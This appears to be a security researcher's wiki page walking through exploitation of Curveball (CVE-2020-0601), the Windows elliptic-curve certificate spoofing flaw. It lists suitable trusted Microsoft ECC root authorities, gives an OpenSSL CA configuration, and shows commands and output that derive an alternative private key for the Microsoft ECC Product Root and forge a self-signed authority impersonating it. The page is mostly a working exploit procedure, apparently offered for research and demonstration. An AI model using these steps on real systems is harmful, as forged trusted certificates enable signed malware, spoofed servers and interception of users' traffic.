Skip to content

0. Kiwi Legit Authority

Benjamin DELPY edited this page Jan 27, 2020 · 6 revisions

To play with Curveball (CVE-2020-0601), you can use any Windows trusted Certificate Authority with an Elliptic Curve key.

Official list can be found here:

Interesting Certificate Authorities

You can technically generate any certificate you want from a certificate authority, but Microsoft restricted them to some purposes. So you must properly select one:

  • Trusted/trustable in Microsoft Windows
  • ECC Public Key
  • Minimal intended purposes:
    • Server Authentication
    • Code Signing
    • Document Signing
    • Secure Email
  • Valid

Authorities

In next pages, Microsoft ECC Product Root Certificate Authority 2018 will be used.

OpenSSL shared configuration for Certificate Authority

Create a ca.cnf OpenSSL config file with

[req]
prompt = no
utf8 = no
distinguished_name = req_distinguished_name
x509_extensions = extensions

[req_distinguished_name]

[extensions]
basicConstraints=critical, CA:TRUE
subjectKeyIdentifier=hash
keyUsage=critical, keyCertSign,cRLSign

Create an alternative private key and parameters

altkey ./public/CACA93B9D23D2B6FA76E8B8471931E0DF3EC6F63AF3CDBB936C41954A1872326.crt ./private/CACA93B9D23D2B6FA76E8B8471931E0DF3EC6F63AF3CDBB936C41954A1872326.key

Must give you:

Certificate:
    Data:
        Serial Number:
            14:98:26:66:dc:7c:cd:8f:40:53:67:7b:b9:99:ec:85
        Issuer: C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft ECC Product Root Certificate Authority 2018
...
                ASN1 OID: secp384r1
                NIST CURVE: P-384
Private-Key set to 1
Private-Key: (384 bit)
...
Private-Key saved to: ./private/CACA93B9D23D2B6FA76E8B8471931E0DF3EC6F63AF3CDBB936C41954A1872326.key

Create a self-signed certificate with the derivated private key

openssl req -config ca.cnf -new -sha256 -key ./private/CACA93B9D23D2B6FA76E8B8471931E0DF3EC6F63AF3CDBB936C41954A1872326.key -subj "/C=FR/CN=Kiwi Microsoft ECC Product Legit Authority" -x509 -days +3650 -out microsoft_product.crt

  • Must give you a file: microsoft_product.crt
  • Private key is ./private/CACA93B9D23D2B6FA76E8B8471931E0DF3EC6F63AF3CDBB936C41954A1872326.key